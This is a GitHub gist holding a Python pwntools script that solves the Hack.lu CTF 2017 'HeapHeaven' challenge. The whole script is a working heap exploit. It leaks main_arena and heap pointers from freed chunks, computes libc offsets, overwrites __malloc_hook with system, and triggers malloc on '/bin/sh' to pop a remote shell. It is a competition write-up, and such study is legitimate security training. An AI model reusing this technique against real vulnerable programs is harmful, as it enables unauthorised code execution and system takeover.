Skip to content

Instantly share code, notes, and snippets.

@n30m1nd
Created October 20, 2017 15:10
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save n30m1nd/132559f3b34d60a7e4afbd9421c94fe6 to your computer and use it in GitHub Desktop.
Save n30m1nd/132559f3b34d60a7e4afbd9421c94fe6 to your computer and use it in GitHub Desktop.
Hack.lu 2017 - HeapHeaven write-up
#!/usr/bin/python
# Hack.lu CTF 2017 - HeapHeaven solution by n30m1nd
# Challenge by FluxFingers - https://flatearth.fluxfingers.net/
from pwn import *
from sys import *
from struct import *
def translate_baby(size):
wiwa = ""
for bit in ("%s" % "{0:b}".format(size)):
if bit == "1":
wiwa += "wi"
else:
wiwa += "wa"
return ("%s" % (wiwa+"0"*(254-len(wiwa))))
def allocate_chunk(size, io):
babysize = translate_baby(size)
print("[+] whaa!")
io.sendline("whaa!")
print(io.recvuntil("I'll prepare your happa happa, darling..."))
io.sendline(babysize)
if size > 0xffffff:
print("[+] Popping shell!!!")
io.interactive()
print(io.recvuntil("NOM-NOM"))
def read_from(offset, io):
size = translate_baby(offset)
print("[+] mommy?")
io.sendline("mommy?")
io.sendline(size)
recv_line = io.recvline_regex(r"See what we have here, darling:")
# Sanitize and unpack leaked_address
leaked_address = re.findall("darling: (.*)", recv_line)[0]
leaked_address = leaked_address + ("\x00"*(8-len(leaked_address)))
leaked_address = unpack("<Q", leaked_address)[0]
print (io.recvuntil("NOM-NOM"))
return leaked_address
def free_chunk(offset, io):
size = translate_baby(offset) # should have tried inheritance...
print("[+] NOM-NOM")
io.sendline("NOM-NOM")
print("[+] Freeing: Offset %#x" % offset )
io.sendline(size)
print(io.recvuntil("NOM-NOM"))
def write_to(offset, io, buff):
size = translate_baby(offset) # should have tried inheritance...
print("[+] <spill>")
io.sendline("<spill>")
print(io.recvline())
io.sendline(size)
print(io.recvuntil("Look at this mess, darling!"))
io.sendline(buff)
if __name__ == "__main__":
io = remote("flatearth.fluxfingers.net", 1743)
#io = process("./HeapHeaven")
"""
io = gdb.debug("./HeapHeaven", '''
b main
b spill
''')
#"""
# Receive first menu
print(io.recvuntil("NOM-NOM"))
# Alocate four chunks so we can avoid coalescing chunks and leak:
# * Pointer to chunk2
# * Pointer to main_arena+88 (av->top)
allocate_chunk(0x128, io)
allocate_chunk(0x128, io)
allocate_chunk(0x128, io)
allocate_chunk(0x128, io)
# Now free chunks 2 and 4 in that order so we can access their FD
# The first free'd chunk's FD will point to main_arena->top
# The second free'd chunk's FD will point to the second chunk
free_chunk(0x20, io)
free_chunk(0x280, io)
# Read the FD pointers and store them to calculate offsets to libc
main_arena_leak = read_from(0x20, io)
print("[+] Main_arena: %#x" % main_arena_leak)
heap_2nd_chunk = read_from(0x280, io)
print("[+] 2nd chunk: %#x" % heap_2nd_chunk)
# Offset calculation
happa_at = heap_2nd_chunk - 0x10
malloc_hook_at = main_arena_leak - 0x68
malloc_hook_offset = malloc_hook_at - happa_at
libc_system = malloc_hook_at - 0x37f780
print ("happa %#x mhook %#x mhook_offset %#x libc_system %#x"
% (happa_at, malloc_hook_at, malloc_hook_offset, libc_system))
# Write the address of system at __malloc_hook
write_to(malloc_hook_offset, io, p64(libc_system))
# write /bin/sh to the first chunk (pointed by happa_at)
write_to(0x0, io, "/bin/sh\x00")
# Call malloc and feed it the argument of /bin/sh which is at happa_at
# This will trigger __malloc_hook((char*)"/bin/sh") and give us shell :)
allocate_chunk(happa_at, io)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment